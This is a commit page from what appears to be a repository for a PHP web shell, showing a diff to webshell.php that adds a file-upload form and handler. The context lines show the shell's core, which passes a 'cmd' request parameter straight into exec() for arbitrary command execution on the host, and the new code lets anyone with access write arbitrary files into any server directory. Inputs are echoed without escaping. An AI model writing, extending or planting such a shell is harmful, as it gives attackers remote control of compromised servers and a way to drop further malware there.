Skip to content

Commit 474c3bc

Browse files
committed
ADD feature: upload files
1 parent 2380450 commit 474c3bc

File tree

1 file changed

+22
-0
lines changed

1 file changed

+22
-0
lines changed

webshell.php

Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -63,6 +63,9 @@ function printPerms($file) {
6363

6464

6565
$dir = $_GET['dir'];
66+
if (isset($_POST['dir'])) {
67+
$dir = $_POST['dir'];
68+
}
6669
$file = '';
6770
if ($dir == NULL or !is_dir($dir)) {
6871
if (is_file($dir)) {
@@ -80,6 +83,25 @@ function printPerms($file) {
8083
echo "<input type='hidden' name='dir' value=".$dir." />";
8184
echo "<input type='text' name='cmd' autocomplete='off' autofocus>\n<input type='submit' value='Execute'>\n";
8285
echo "</form>";
86+
echo "\n<br>\n<div class='navbar-form'><form action='".$_SERVER['PHP_SELF']."' method='POST' enctype='multipart/form-data'>\n";
87+
echo "<input type='hidden' name='dir' value='".$_GET['dir']."'/> ";
88+
echo "<input type='file' name='fileToUpload' id='fileToUpload'>\n<br><input type='submit' value='Upload File' name='submit'>";
89+
echo "</div>";
90+
91+
if (isset($_POST['submit'])) {
92+
$uploadDirectory = $dir.'/'.basename($_FILES['fileToUpload']['name']);
93+
if (file_exists($uploadDirectory)) {
94+
echo "<br><br><b style='color:red'>Error. File already exists in ".$uploadDirectory.".</b></br></br>";
95+
}
96+
else if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $uploadDirectory)) {
97+
echo '<br><br><b>File '.$_FILES['fileToUpload']['name'].' uploaded successfully in '.$dir.' !</b><br>';
98+
} else {
99+
echo '<br><br><b style="color:red">Error uploading file '.$uploadDirectory.'</b><br><br>';
100+
101+
}
102+
103+
}
104+
83105
if (isset($_GET['cmd'])) {
84106
echo "<br><br><b>Result of command execution: </b><br>";
85107
exec('cd '.$dir.' && '.$_GET['cmd'], $cmdresult);

0 commit comments

Comments
 (0)